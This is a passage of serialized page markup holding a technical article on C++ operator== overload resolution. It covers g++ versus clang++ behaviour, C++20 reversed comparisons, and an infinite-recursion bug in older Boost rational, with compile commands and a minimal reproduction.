operator",{"type":23,"tag":134,"props":90026,"children":90027},{"style":179},[90028],{"type":28,"value":90029},"==(",{"type":23,"tag":134,"props":90031,"children":90032},{"style":151},[90033],{"type":28,"value":9119},{"type":23,"tag":134,"props":90035,"children":90036},{"style":597},[90037],{"type":28,"value":5375},{"type":23,"tag":134,"props":90039,"children":90040},{"style":151},[90041],{"type":28,"value":277},{"type":23,"tag":134,"props":90043,"children":90044},{"style":162},[90045],{"type":28,"value":576},{"type":23,"tag":134,"props":90047,"children":90048},{"style":179},[90049],{"type":28,"value":252},{"type":23,"tag":134,"props":90051,"children":90052},{"style":151},[90053],{"type":28,"value":9119},{"type":23,"tag":134,"props":90055,"children":90056},{"style":179},[90057],{"type":28,"value":463},{"type":23,"tag":134,"props":90059,"children":90060},{"class":136,"line":479},[90061,90066,90071,90076,90081],{"type":23,"tag":134,"props":90062,"children":90063},{"style":179},[90064],{"type":28,"value":90065},"        std::cout ",{"type":23,"tag":134,"props":90067,"children":90068},{"style":168},[90069],{"type":28,"value":90070},"\u003C\u003C",{"type":23,"tag":134,"props":90072,"children":90073},{"style":1461},[90074],{"type":28,"value":90075}," \"clang++ resolved member\"",{"type":23,"tag":134,"props":90077,"children":90078},{"style":168},[90079],{"type":28,"value":90080}," \u003C\u003C",{"type":23,"tag":134,"props":90082,"children":90083},{"style":179},[90084],{"type":28,"value":90085}," std::endl;\n",{"type":23,"tag":134,"props":90087,"children":90088},{"class":136,"line":497},[90089,90093,90097],{"type":23,"tag":134,"props":90090,"children":90091},{"style":189},[90092],{"type":28,"value":15214},{"type":23,"tag":134,"props":90094,"children":90095},{"style":151},[90096],{"type":28,"value":11936},{"type":23,"tag":134,"props":90098,"children":90099},{"style":179},[90100],{"type":28,"value":182},{"type":23,"tag":134,"props":90102,"children":90103},{"class":136,"line":518},[90104],{"type":23,"tag":134,"props":90105,"children":90106},{"style":179},[90107],{"type":28,"value":533},{"type":23,"tag":134,"props":90109,"children":90110},{"class":136,"line":527},[90111],{"type":23,"tag":134,"props":90112,"children":90113},{"style":179},[90114],{"type":28,"value":16048},{"type":23,"tag":134,"props":90116,"children":90117},{"class":136,"line":780},[90118],{"type":23,"tag":134,"props":90119,"children":90120},{"emptyLinePlaceholder":15},[90121],{"type":28,"value":865},{"type":23,"tag":134,"props":90123,"children":90124},{"class":136,"line":797},[90125,90129,90133,90137,90142,90146,90150,90154],{"type":23,"tag":134,"props":90126,"children":90127},{"style":151},[90128],{"type":28,"value":65725},{"type":23,"tag":134,"props":90130,"children":90131},{"style":179},[90132],{"type":28,"value":8179},{"type":23,"tag":134,"props":90134,"children":90135},{"style":151},[90136],{"type":28,"value":69920},{"type":23,"tag":134,"props":90138,"children":90139},{"style":597},[90140],{"type":28,"value":90141}," Arg",{"type":23,"tag":134,"props":90143,"children":90144},{"style":179},[90145],{"type":28,"value":242},{"type":23,"tag":134,"props":90147,"children":90148},{"style":151},[90149],{"type":28,"value":69920},{"type":23,"tag":134,"props":90151,"children":90152},{"style":597},[90153],{"type":28,"value":89960},{"type":23,"tag":134,"props":90155,"children":90156},{"style":179},[90157],{"type":28,"value":5449},{"type":23,"tag":134,"props":90159,"children":90160},{"class":136,"line":814},[90161,90165,90169,90173,90177,90181,90185,90190,90194,90198,90202,90206,90210,90214,90218,90223],{"type":23,"tag":134,"props":90162,"children":90163},{"style":151},[90164],{"type":28,"value":29179},{"type":23,"tag":134,"props":90166,"children":90167},{"style":151},[90168],{"type":28,"value":90024},{"type":23,"tag":134,"props":90170,"children":90171},{"style":179},[90172],{"type":28,"value":90029},{"type":23,"tag":134,"props":90174,"children":90175},{"style":151},[90176],{"type":28,"value":9119},{"type":23,"tag":134,"props":90178,"children":90179},{"style":597},[90180],{"type":28,"value":89976},{"type":23,"tag":134,"props":90182,"children":90183},{"style":179},[90184],{"type":28,"value":5262},{"type":23,"tag":134,"props":90186,"children":90187},{"style":597},[90188],{"type":28,"value":90189},"IntType",{"type":23,"tag":134,"props":90191,"children":90192},{"style":179},[90193],{"type":28,"value":9927},{"type":23,"tag":134,"props":90195,"children":90196},{"style":151},[90197],{"type":28,"value":277},{"type":23,"tag":134,"props":90199,"children":90200},{"style":162},[90201],{"type":28,"value":89348},{"type":23,"tag":134,"props":90203,"children":90204},{"style":179},[90205],{"type":28,"value":242},{"type":23,"tag":134,"props":90207,"children":90208},{"style":151},[90209],{"type":28,"value":9119},{"type":23,"tag":134,"props":90211,"children":90212},{"style":597},[90213],{"type":28,"value":90141},{"type":23,"tag":134,"props":90215,"children":90216},{"style":151},[90217],{"type":28,"value":277},{"type":23,"tag":134,"props":90219,"children":90220},{"style":162},[90221],{"type":28,"value":90222}," b",{"type":23,"tag":134,"props":90224,"children":90225},{"style":179},[90226],{"type":28,"value":14272},{"type":23,"tag":134,"props":90228,"children":90229},{"class":136,"line":827},[90230,90235,90239,90244,90248],{"type":23,"tag":134,"props":90231,"children":90232},{"style":179},[90233],{"type":28,"value":90234},"    std::cout ",{"type":23,"tag":134,"props":90236,"children":90237},{"style":168},[90238],{"type":28,"value":90070},{"type":23,"tag":134,"props":90240,"children":90241},{"style":1461},[90242],{"type":28,"value":90243}," \"g++ \u003C14 resolved non-member\"",{"type":23,"tag":134,"props":90245,"children":90246},{"style":168},[90247],{"type":28,"value":90080},{"type":23,"tag":134,"props":90249,"children":90250},{"style":179},[90251],{"type":28,"value":90085},{"type":23,"tag":134,"props":90253,"children":90254},{"class":136,"line":836},[90255,90259,90263],{"type":23,"tag":134,"props":90256,"children":90257},{"style":189},[90258],{"type":28,"value":16461},{"type":23,"tag":134,"props":90260,"children":90261},{"style":151},[90262],{"type":28,"value":8519},{"type":23,"tag":134,"props":90264,"children":90265},{"style":179},[90266],{"type":28,"value":182},{"type":23,"tag":134,"props":90268,"children":90269},{"class":136,"line":859},[90270],{"type":23,"tag":134,"props":90271,"children":90272},{"style":179},[90273],{"type":28,"value":1098},{"type":23,"tag":134,"props":90275,"children":90276},{"class":136,"line":868},[90277],{"type":23,"tag":134,"props":90278,"children":90279},{"emptyLinePlaceholder":15},[90280],{"type":28,"value":865},{"type":23,"tag":134,"props":90282,"children":90283},{"class":136,"line":877},[90284,90288,90293],{"type":23,"tag":134,"props":90285,"children":90286},{"style":151},[90287],{"type":28,"value":18523},{"type":23,"tag":134,"props":90289,"children":90290},{"style":264},[90291],{"type":28,"value":90292}," main",{"type":23,"tag":134,"props":90294,"children":90295},{"style":179},[90296],{"type":28,"value":15206},{"type":23,"tag":134,"props":90298,"children":90299},{"class":136,"line":946},[90300,90305,90309,90313,90317],{"type":23,"tag":134,"props":90301,"children":90302},{"style":179},[90303],{"type":28,"value":90304},"    rational",{"type":23,"tag":134,"props":90306,"children":90307},{"style":168},[90308],{"type":28,"value":5262},{"type":23,"tag":134,"props":90310,"children":90311},{"style":151},[90312],{"type":28,"value":18523},{"type":23,"tag":134,"props":90314,"children":90315},{"style":168},[90316],{"type":28,"value":9927},{"type":23,"tag":134,"props":90318,"children":90319},{"style":179},[90320],{"type":28,"value":90321}," r;\n",{"type":23,"tag":134,"props":90323,"children":90324},{"class":136,"line":954},[90325,90329,90334,90338,90342],{"type":23,"tag":134,"props":90326,"children":90327},{"style":189},[90328],{"type":28,"value":16461},{"type":23,"tag":134,"props":90330,"children":90331},{"style":179},[90332],{"type":28,"value":90333}," r ",{"type":23,"tag":134,"props":90335,"children":90336},{"style":168},[90337],{"type":28,"value":8035},{"type":23,"tag":134,"props":90339,"children":90340},{"style":205},[90341],{"type":28,"value":208},{"type":23,"tag":134,"props":90343,"children":90344},{"style":179},[90345],{"type":28,"value":182},{"type":23,"tag":134,"props":90347,"children":90348},{"class":136,"line":984},[90349],{"type":23,"tag":134,"props":90350,"children":90351},{"style":179},[90352],{"type":28,"value":1098},{"type":23,"tag":16158,"props":90354,"children":90355},{},[90356],{"type":23,"tag":4894,"props":90357,"children":90358},{},[90359],{"type":28,"value":90360},"Compile with g++\u003C14:",{"type":23,"tag":87,"props":90362,"children":90364},{"code":90363,"language":1446,"meta":7,"className":1447,"style":7},"g++ -std=c++17 main.cpp -o test && ./test\n",[90365],{"type":23,"tag":92,"props":90366,"children":90367},{"__ignoreMap":7},[90368],{"type":23,"tag":134,"props":90369,"children":90370},{"class":136,"line":137},[90371,90376,90381,90386,90391,90395,90400],{"type":23,"tag":134,"props":90372,"children":90373},{"style":264},[90374],{"type":28,"value":90375},"g++",{"type":23,"tag":134,"props":90377,"children":90378},{"style":1461},[90379],{"type":28,"value":90380}," -std=c++17",{"type":23,"tag":134,"props":90382,"children":90383},{"style":1461},[90384],{"type":28,"value":90385}," main.cpp",{"type":23,"tag":134,"props":90387,"children":90388},{"style":1461},[90389],{"type":28,"value":90390}," -o",{"type":23,"tag":134,"props":90392,"children":90393},{"style":1461},[90394],{"type":28,"value":30172},{"type":23,"tag":134,"props":90396,"children":90397},{"style":179},[90398],{"type":28,"value":90399}," && ",{"type":23,"tag":134,"props":90401,"children":90402},{"style":264},[90403],{"type":28,"value":90404},"./test\n",{"type":23,"tag":24,"props":90406,"children":90407},{},[90408],{"type":28,"value":90409},"Output (on g++ 11.4):",{"type":23,"tag":87,"props":90411,"children":90413},{"code":90412},"g++ \u003C14 resolved non-member\n",[90414],{"type":23,"tag":92,"props":90415,"children":90416},{"__ignoreMap":7},[90417],{"type":28,"value":90412},{"type":23,"tag":16158,"props":90419,"children":90420},{},[90421],{"type":23,"tag":4894,"props":90422,"children":90423},{},[90424],{"type":28,"value":90425},"Compile with clang++:",{"type":23,"tag":87,"props":90427,"children":90429},{"code":90428,"language":1446,"meta":7,"className":1447,"style":7},"clang++ -std=c++17 main.cpp -o test && ./test\n",[90430],{"type":23,"tag":92,"props":90431,"children":90432},{"__ignoreMap":7},[90433],{"type":23,"tag":134,"props":90434,"children":90435},{"class":136,"line":137},[90436,90441,90445,90449,90453,90457,90461],{"type":23,"tag":134,"props":90437,"children":90438},{"style":264},[90439],{"type":28,"value":90440},"clang++",{"type":23,"tag":134,"props":90442,"children":90443},{"style":1461},[90444],{"type":28,"value":90380},{"type":23,"tag":134,"props":90446,"children":90447},{"style":1461},[90448],{"type":28,"value":90385},{"type":23,"tag":134,"props":90450,"children":90451},{"style":1461},[90452],{"type":28,"value":90390},{"type":23,"tag":134,"props":90454,"children":90455},{"style":1461},[90456],{"type":28,"value":30172},{"type":23,"tag":134,"props":90458,"children":90459},{"style":179},[90460],{"type":28,"value":90399},{"type":23,"tag":134,"props":90462,"children":90463},{"style":264},[90464],{"type":28,"value":90404},{"type":23,"tag":24,"props":90466,"children":90467},{},[90468],{"type":28,"value":90469},"Output:",{"type":23,"tag":87,"props":90471,"children":90473},{"code":90472},"clang++ resolved member\n",[90474],{"type":23,"tag":92,"props":90475,"children":90476},{"__ignoreMap":7},[90477],{"type":28,"value":90472},{"type":23,"tag":24,"props":90479,"children":90480},{},[90481],{"type":28,"value":90482},"In short, the wrong function gets picked. G++ was broken here until v14.",{"type":23,"tag":18268,"props":90484,"children":90485},{},[],{"type":23,"tag":61,"props":90487,"children":90489},{"id":90488},"part-ii-c20s-symmetric-comparison-feature",[90490],{"type":28,"value":90491},"Part II: C++20’s Symmetric Comparison Feature",{"type":23,"tag":9072,"props":90493,"children":90495},{"id":90494},"what-changed-in-c20",[90496],{"type":28,"value":90497},"What Changed in C++20?",{"type":23,"tag":24,"props":90499,"children":90500},{},[90501,90503,90516,90517,90522],{"type":28,"value":90502},"C++20 introduced the ",{"type":23,"tag":31,"props":90504,"children":90507},{"href":90505,"rel":90506},"https://en.cppreference.com/w/cpp/language/operator_comparison",[35],[90508,90510],{"type":28,"value":90509},"spaceship operator ",{"type":23,"tag":92,"props":90511,"children":90513},{"className":90512},[],[90514],{"type":28,"value":90515},"\u003C=>",{"type":28,"value":10458},{"type":23,"tag":2532,"props":90518,"children":90519},{},[90520],{"type":28,"value":90521},"defaulted comparison rewrites",{"type":28,"value":720},{"type":23,"tag":24,"props":90524,"children":90525},{},[90526,90528,90533],{"type":28,"value":90527},"When you define a two-argument ",{"type":23,"tag":92,"props":90529,"children":90531},{"className":90530},[],[90532],{"type":28,"value":89767},{"type":28,"value":90534},", C++20 may implicitly define the \"reversed\" version:",{"type":23,"tag":16158,"props":90536,"children":90537},{},[90538,90549],{"type":23,"tag":4894,"props":90539,"children":90540},{},[90541,90543],{"type":28,"value":90542},"If you define: ",{"type":23,"tag":92,"props":90544,"children":90546},{"className":90545},[],[90547],{"type":28,"value":90548},"bool operator==(T1, T2);",{"type":23,"tag":4894,"props":90550,"children":90551},{},[90552,90554,90560],{"type":28,"value":90553},"Then ",{"type":23,"tag":92,"props":90555,"children":90557},{"className":90556},[],[90558],{"type":28,"value":90559},"T2 == T1",{"type":28,"value":90561}," may call the same function by reversing the arguments.",{"type":23,"tag":24,"props":90563,"children":90564},{},[90565,90567,90572,90573,90578,90580,90586,90588,90593],{"type":28,"value":90566},"This rewrite is ",{"type":23,"tag":2532,"props":90568,"children":90569},{},[90570],{"type":28,"value":90571},"recursive",{"type":28,"value":14800},{"type":23,"tag":92,"props":90574,"children":90576},{"className":90575},[],[90577],{"type":28,"value":89759},{"type":28,"value":90579}," becomes ",{"type":23,"tag":92,"props":90581,"children":90583},{"className":90582},[],[90584],{"type":28,"value":90585},"b == a",{"type":28,"value":90587},", which becomes ",{"type":23,"tag":92,"props":90589,"children":90591},{"className":90590},[],[90592],{"type":28,"value":89759},{"type":28,"value":90594}," again, and so on — if not handled carefully.",{"type":23,"tag":24,"props":90596,"children":90597},{},[90598],{"type":28,"value":90599},"This is great for reducing boilerplate — unless the call becomes ambiguous or self-referential.",{"type":23,"tag":18268,"props":90601,"children":90602},{},[],{"type":23,"tag":61,"props":90604,"children":90606},{"id":90605},"part-iii-the-boost-trapdoor",[90607],{"type":28,"value":90608},"Part III: The Boost Trapdoor",{"type":23,"tag":24,"props":90610,"children":90611},{},[90612,90614,90620,90622,90627],{"type":28,"value":90613},"The old Boost ",{"type":23,"tag":92,"props":90615,"children":90617},{"className":90616},[],[90618],{"type":28,"value":90619},"rational",{"type":28,"value":90621}," class (prior to v1.75) defined both member function and non-member function of ",{"type":23,"tag":92,"props":90623,"children":90625},{"className":90624},[],[90626],{"type":28,"value":89767},{"type":28,"value":1697},{"type":23,"tag":87,"props":90629,"children":90631},{"code":90630,"language":28605,"meta":7,"className":28603,"style":7},"template \u003Cclass Arg, class IntType>\ntemplate \u003Ctypename IntType>\nclass rational\n{\n    ...\npublic:\n    ...\n    \n    template \u003Cclass T>\n    BOOST_CONSTEXPR typename boost::enable_if_c\u003Crational_detail::is_compatible_integer\u003CT, IntType>::value, bool>::type operator== (const T& i) const\n    {\n       return ((den == IntType(1)) && (num == i));\n    }\n    ...\n}\n\ntemplate \u003Cclass Arg, class IntType>\nBOOST_CONSTEXPR\ninline typename boost::enable_if_c \u003C\n   rational_detail::is_compatible_integer\u003CArg, IntType>::value, bool>::type\n   operator == (const Arg& b, const rational\u003CIntType>& a)\n{\n      return a == b; \n}\n",[90632],{"type":23,"tag":92,"props":90633,"children":90634},{"__ignoreMap":7},[90635,90670,90693,90705,90712,90719,90726,90733,90740,90763,90851,90858,90909,90916,90923,90930,90937,90972,90980,91008,91047,91112,91119,91139],{"type":23,"tag":134,"props":90636,"children":90637},{"class":136,"line":137},[90638,90642,90646,90650,90654,90658,90662,90666],{"type":23,"tag":134,"props":90639,"children":90640},{"style":151},[90641],{"type":28,"value":65725},{"type":23,"tag":134,"props":90643,"children":90644},{"style":179},[90645],{"type":28,"value":8179},{"type":23,"tag":134,"props":90647,"children":90648},{"style":151},[90649],{"type":28,"value":69920},{"type":23,"tag":134,"props":90651,"children":90652},{"style":597},[90653],{"type":28,"value":90141},{"type":23,"tag":134,"props":90655,"children":90656},{"style":179},[90657],{"type":28,"value":242},{"type":23,"tag":134,"props":90659,"children":90660},{"style":151},[90661],{"type":28,"value":69920},{"type":23,"tag":134,"props":90663,"children":90664},{"style":597},[90665],{"type":28,"value":89960},{"type":23,"tag":134,"props":90667,"children":90668},{"style":179},[90669],{"type":28,"value":5449},{"type":23,"tag":134,"props":90671,"children":90672},{"class":136,"line":147},[90673,90677,90681,90685,90689],{"type":23,"tag":134,"props":90674,"children":90675},{"style":151},[90676],{"type":28,"value":65725},{"type":23,"tag":134,"props":90678,"children":90679},{"style":179},[90680],{"type":28,"value":8179},{"type":23,"tag":134,"props":90682,"children":90683},{"style":151},[90684],{"type":28,"value":89955},{"type":23,"tag":134,"props":90686,"children":90687},{"style":597},[90688],{"type":28,"value":89960},{"type":23,"tag":134,"props":90690,"children":90691},{"style":179},[90692],{"type":28,"value":5449},{"type":23,"tag":134,"props":90694,"children":90695},{"class":136,"line":185},[90696,90700],{"type":23,"tag":134,"props":90697,"children":90698},{"style":151},[90699],{"type":28,"value":69920},{"type":23,"tag":134,"props":90701,"children":90702},{"style":597},[90703],{"type":28,"value":90704}," rational\n",{"type":23,"tag":134,"props":90706,"children":90707},{"class":136,"line":221},[90708],{"type":23,"tag":134,"props":90709,"children":90710},{"style":179},[90711],{"type":28,"value":10346},{"type":23,"tag":134,"props":90713,"children":90714},{"class":136,"line":332},[90715],{"type":23,"tag":134,"props":90716,"children":90717},{"style":179},[90718],{"type":28,"value":19817},{"type":23,"tag":134,"props":90720,"children":90721},{"class":136,"line":438},[90722],{"type":23,"tag":134,"props":90723,"children":90724},{"style":151},[90725],{"type":28,"value":89988},{"type":23,"tag":134,"props":90727,"children":90728},{"class":136,"line":466},[90729],{"type":23,"tag":134,"props":90730,"children":90731},{"style":179},[90732],{"type":28,"value":19817},{"type":23,"tag":134,"props":90734,"children":90735},{"class":136,"line":479},[90736],{"type":23,"tag":134,"props":90737,"children":90738},{"style":179},[90739],{"type":28,"value":61294},{"type":23,"tag":134,"props":90741,"children":90742},{"class":136,"line":497},[90743,90747,90751,90755,90759],{"type":23,"tag":134,"props":90744,"children":90745},{"style":151},[90746],{"type":28,"value":89996},{"type":23,"tag":134,"props":90748,"children":90749},{"style":179},[90750],{"type":28,"value":8179},{"type":23,"tag":134,"props":90752,"children":90753},{"style":151},[90754],{"type":28,"value":69920},{"type":23,"tag":134,"props":90756,"children":90757},{"style":597},[90758],{"type":28,"value":5375},{"type":23,"tag":134,"props":90760,"children":90761},{"style":179},[90762],{"type":28,"value":5449},{"type":23,"tag":134,"props":90764,"children":90765},{"class":136,"line":518},[90766,90771,90775,90780,90784,90788,90792,90797,90801,90805,90809,90813,90817,90821,90826,90830,90834,90838,90842,90846],{"type":23,"tag":134,"props":90767,"children":90768},{"style":179},[90769],{"type":28,"value":90770},"    BOOST_CONSTEXPR ",{"type":23,"tag":134,"props":90772,"children":90773},{"style":151},[90774],{"type":28,"value":89955},{"type":23,"tag":134,"props":90776,"children":90777},{"style":179},[90778],{"type":28,"value":90779}," boost::enable_if_c\u003Crational_detail::is_compatible_integer\u003C",{"type":23,"tag":134,"props":90781,"children":90782},{"style":597},[90783],{"type":28,"value":5444},{"type":23,"tag":134,"props":90785,"children":90786},{"style":179},[90787],{"type":28,"value":242},{"type":23,"tag":134,"props":90789,"children":90790},{"style":597},[90791],{"type":28,"value":90189},{"type":23,"tag":134,"props":90793,"children":90794},{"style":179},[90795],{"type":28,"value":90796},">::",{"type":23,"tag":134,"props":90798,"children":90799},{"style":597},[90800],{"type":28,"value":38650},{"type":23,"tag":134,"props":90802,"children":90803},{"style":179},[90804],{"type":28,"value":242},{"type":23,"tag":134,"props":90806,"children":90807},{"style":151},[90808],{"type":28,"value":29179},{"type":23,"tag":134,"props":90810,"children":90811},{"style":179},[90812],{"type":28,"value":90796},{"type":23,"tag":134,"props":90814,"children":90815},{"style":597},[90816],{"type":28,"value":32252},{"type":23,"tag":134,"props":90818,"children":90819},{"style":151},[90820],{"type":28,"value":90024},{"type":23,"tag":134,"props":90822,"children":90823},{"style":179},[90824],{"type":28,"value":90825},"== (",{"type":23,"tag":134,"props":90827,"children":90828},{"style":151},[90829],{"type":28,"value":9119},{"type":23,"tag":134,"props":90831,"children":90832},{"style":597},[90833],{"type":28,"value":5375},{"type":23,"tag":134,"props":90835,"children":90836},{"style":151},[90837],{"type":28,"value":277},{"type":23,"tag":134,"props":90839,"children":90840},{"style":162},[90841],{"type":28,"value":576},{"type":23,"tag":134,"props":90843,"children":90844},{"style":179},[90845],{"type":28,"value":252},{"type":23,"tag":134,"props":90847,"children":90848},{"style":151},[90849],{"type":28,"value":90850},"const\n",{"type":23,"tag":134,"props":90852,"children":90853},{"class":136,"line":527},[90854],{"type":23,"tag":134,"props":90855,"children":90856},{"style":179},[90857],{"type":28,"value":28680},{"type":23,"tag":134,"props":90859,"children":90860},{"class":136,"line":780},[90861,90866,90871,90875,90879,90883,90887,90891,90895,90900,90904],{"type":23,"tag":134,"props":90862,"children":90863},{"style":189},[90864],{"type":28,"value":90865},"       return",{"type":23,"tag":134,"props":90867,"children":90868},{"style":179},[90869],{"type":28,"value":90870}," ((den ",{"type":23,"tag":134,"props":90872,"children":90873},{"style":168},[90874],{"type":28,"value":8035},{"type":23,"tag":134,"props":90876,"children":90877},{"style":264},[90878],{"type":28,"value":89960},{"type":23,"tag":134,"props":90880,"children":90881},{"style":179},[90882],{"type":28,"value":272},{"type":23,"tag":134,"props":90884,"children":90885},{"style":205},[90886],{"type":28,"value":1214},{"type":23,"tag":134,"props":90888,"children":90889},{"style":179},[90890],{"type":28,"value":8297},{"type":23,"tag":134,"props":90892,"children":90893},{"style":168},[90894],{"type":28,"value":72707},{"type":23,"tag":134,"props":90896,"children":90897},{"style":179},[90898],{"type":28,"value":90899}," (num ",{"type":23,"tag":134,"props":90901,"children":90902},{"style":168},[90903],{"type":28,"value":8035},{"type":23,"tag":134,"props":90905,"children":90906},{"style":179},[90907],{"type":28,"value":90908}," i));\n",{"type":23,"tag":134,"props":90910,"children":90911},{"class":136,"line":797},[90912],{"type":23,"tag":134,"props":90913,"children":90914},{"style":179},[90915],{"type":28,"value":533},{"type":23,"tag":134,"props":90917,"children":90918},{"class":136,"line":814},[90919],{"type":23,"tag":134,"props":90920,"children":90921},{"style":179},[90922],{"type":28,"value":19817},{"type":23,"tag":134,"props":90924,"children":90925},{"class":136,"line":827},[90926],{"type":23,"tag":134,"props":90927,"children":90928},{"style":179},[90929],{"type":28,"value":1098},{"type":23,"tag":134,"props":90931,"children":90932},{"class":136,"line":836},[90933],{"type":23,"tag":134,"props":90934,"children":90935},{"emptyLinePlaceholder":15},[90936],{"type":28,"value":865},{"type":23,"tag":134,"props":90938,"children":90939},{"class":136,"line":859},[90940,90944,90948,90952,90956,90960,90964,90968],{"type":23,"tag":134,"props":90941,"children":90942},{"style":151},[90943],{"type":28,"value":65725},{"type":23,"tag":134,"props":90945,"children":90946},{"style":179},[90947],{"type":28,"value":8179},{"type":23,"tag":134,"props":90949,"children":90950},{"style":151},[90951],{"type":28,"value":69920},{"type":23,"tag":134,"props":90953,"children":90954},{"style":597},[90955],{"type":28,"value":90141},{"type":23,"tag":134,"props":90957,"children":90958},{"style":179},[90959],{"type":28,"value":242},{"type":23,"tag":134,"props":90961,"children":90962},{"style":151},[90963],{"type":28,"value":69920},{"type":23,"tag":134,"props":90965,"children":90966},{"style":597},[90967],{"type":28,"value":89960},{"type":23,"tag":134,"props":90969,"children":90970},{"style":179},[90971],{"type":28,"value":5449},{"type":23,"tag":134,"props":90973,"children":90974},{"class":136,"line":868},[90975],{"type":23,"tag":134,"props":90976,"children":90977},{"style":179},[90978],{"type":28,"value":90979},"BOOST_CONSTEXPR\n",{"type":23,"tag":134,"props":90981,"children":90982},{"class":136,"line":877},[90983,90988,90993,90998,91003],{"type":23,"tag":134,"props":90984,"children":90985},{"style":151},[90986],{"type":28,"value":90987},"inline",{"type":23,"tag":134,"props":90989,"children":90990},{"style":151},[90991],{"type":28,"value":90992}," typename",{"type":23,"tag":134,"props":90994,"children":90995},{"style":179},[90996],{"type":28,"value":90997}," boost::",{"type":23,"tag":134,"props":90999,"children":91000},{"style":597},[91001],{"type":28,"value":91002},"enable_if_c",{"type":23,"tag":134,"props":91004,"children":91005},{"style":168},[91006],{"type":28,"value":91007}," \u003C\n",{"type":23,"tag":134,"props":91009,"children":91010},{"class":136,"line":946},[91011,91016,91021,91025,91029,91034,91038,91042],{"type":23,"tag":134,"props":91012,"children":91013},{"style":179},[91014],{"type":28,"value":91015},"   rational_detail::is_compatible_integer\u003C",{"type":23,"tag":134,"props":91017,"children":91018},{"style":597},[91019],{"type":28,"value":91020},"Arg",{"type":23,"tag":134,"props":91022,"children":91023},{"style":179},[91024],{"type":28,"value":242},{"type":23,"tag":134,"props":91026,"children":91027},{"style":597},[91028],{"type":28,"value":90189},{"type":23,"tag":134,"props":91030,"children":91031},{"style":179},[91032],{"type":28,"value":91033},">::value, ",{"type":23,"tag":134,"props":91035,"children":91036},{"style":151},[91037],{"type":28,"value":29179},{"type":23,"tag":134,"props":91039,"children":91040},{"style":168},[91041],{"type":28,"value":9927},{"type":23,"tag":134,"props":91043,"children":91044},{"style":179},[91045],{"type":28,"value":91046},"::type\n",{"type":23,"tag":134,"props":91048,"children":91049},{"class":136,"line":954},[91050,91055,91060,91064,91068,91072,91076,91080,91084,91088,91092,91096,91100,91104,91108],{"type":23,"tag":134,"props":91051,"children":91052},{"style":151},[91053],{"type":28,"value":91054},"   operator",{"type":23,"tag":134,"props":91056,"children":91057},{"style":179},[91058],{"type":28,"value":91059}," == (",{"type":23,"tag":134,"props":91061,"children":91062},{"style":151},[91063],{"type":28,"value":9119},{"type":23,"tag":134,"props":91065,"children":91066},{"style":597},[91067],{"type":28,"value":90141},{"type":23,"tag":134,"props":91069,"children":91070},{"style":151},[91071],{"type":28,"value":277},{"type":23,"tag":134,"props":91073,"children":91074},{"style":162},[91075],{"type":28,"value":90222},{"type":23,"tag":134,"props":91077,"children":91078},{"style":179},[91079],{"type":28,"value":242},{"type":23,"tag":134,"props":91081,"children":91082},{"style":151},[91083],{"type":28,"value":9119},{"type":23,"tag":134,"props":91085,"children":91086},{"style":597},[91087],{"type":28,"value":89976},{"type":23,"tag":134,"props":91089,"children":91090},{"style":179},[91091],{"type":28,"value":5262},{"type":23,"tag":134,"props":91093,"children":91094},{"style":597},[91095],{"type":28,"value":90189},{"type":23,"tag":134,"props":91097,"children":91098},{"style":179},[91099],{"type":28,"value":9927},{"type":23,"tag":134,"props":91101,"children":91102},{"style":151},[91103],{"type":28,"value":277},{"type":23,"tag":134,"props":91105,"children":91106},{"style":162},[91107],{"type":28,"value":89348},{"type":23,"tag":134,"props":91109,"children":91110},{"style":179},[91111],{"type":28,"value":329},{"type":23,"tag":134,"props":91113,"children":91114},{"class":136,"line":984},[91115],{"type":23,"tag":134,"props":91116,"children":91117},{"style":179},[91118],{"type":28,"value":10346},{"type":23,"tag":134,"props":91120,"children":91121},{"class":136,"line":992},[91122,91126,91130,91134],{"type":23,"tag":134,"props":91123,"children":91124},{"style":189},[91125],{"type":28,"value":38855},{"type":23,"tag":134,"props":91127,"children":91128},{"style":179},[91129],{"type":28,"value":16236},{"type":23,"tag":134,"props":91131,"children":91132},{"style":168},[91133],{"type":28,"value":8035},{"type":23,"tag":134,"props":91135,"children":91136},{"style":179},[91137],{"type":28,"value":91138}," b; \n",{"type":23,"tag":134,"props":91140,"children":91141},{"class":136,"line":1024},[91142],{"type":23,"tag":134,"props":91143,"children":91144},{"style":179},[91145],{"type":28,"value":1098},{"type":23,"tag":24,"props":91147,"children":91148},{},[91149,91151,91157],{"type":28,"value":91150},"This was designed under C++17 semantics. Back then, ",{"type":23,"tag":92,"props":91152,"children":91154},{"className":91153},[],[91155],{"type":28,"value":91156},"rhs == lhs",{"type":28,"value":91158}," would fall back to member overloads if available. All good.",{"type":23,"tag":24,"props":91160,"children":91161},{},[91162,91164,91169,91170,91176],{"type":28,"value":91163},"But under ",{"type":23,"tag":92,"props":91165,"children":91167},{"className":91166},[],[91168],{"type":28,"value":89713},{"type":28,"value":20982},{"type":23,"tag":92,"props":91171,"children":91173},{"className":91172},[],[91174],{"type":28,"value":91175},"G++ \u003C 14",{"type":28,"value":1697},{"type":23,"tag":16158,"props":91178,"children":91179},{},[91180,91185,91190,91195],{"type":23,"tag":4894,"props":91181,"children":91182},{},[91183],{"type":28,"value":91184},"G++ incorrectly chooses this non-member operator first",{"type":23,"tag":4894,"props":91186,"children":91187},{},[91188],{"type":28,"value":91189},"C++20 reverses the comparison",{"type":23,"tag":4894,"props":91191,"children":91192},{},[91193],{"type":28,"value":91194},"Which calls the same function again with arguments flipped",{"type":23,"tag":4894,"props":91196,"children":91197},{},[91198],{"type":28,"value":91199},"And so on...",{"type":23,"tag":24,"props":91201,"children":91202},{},[91203,91205,91210],{"type":28,"value":91204},"This creates ",{"type":23,"tag":2532,"props":91206,"children":91207},{},[91208],{"type":28,"value":91209},"infinite recursion",{"type":28,"value":720},{"type":23,"tag":24,"props":91212,"children":91213},{},[91214],{"type":28,"value":91215},"A minimal example:",{"type":23,"tag":87,"props":91217,"children":91219},{"code":91218,"language":28605,"meta":7,"className":28603,"style":7},"// g++ -std=c++20 -o crash main.cpp && ./crash\n#include \u003Cboost/rational.hpp>\n\nint main() {\n    boost::rational\u003Cint> r;\n    return r == 0;\n}\n",[91220],{"type":23,"tag":92,"props":91221,"children":91222},{"__ignoreMap":7},[91223,91231,91243,91250,91265,91289,91312],{"type":23,"tag":134,"props":91224,"children":91225},{"class":136,"line":137},[91226],{"type":23,"tag":134,"props":91227,"children":91228},{"style":141},[91229],{"type":28,"value":91230},"// g++ -std=c++20 -o crash main.cpp && 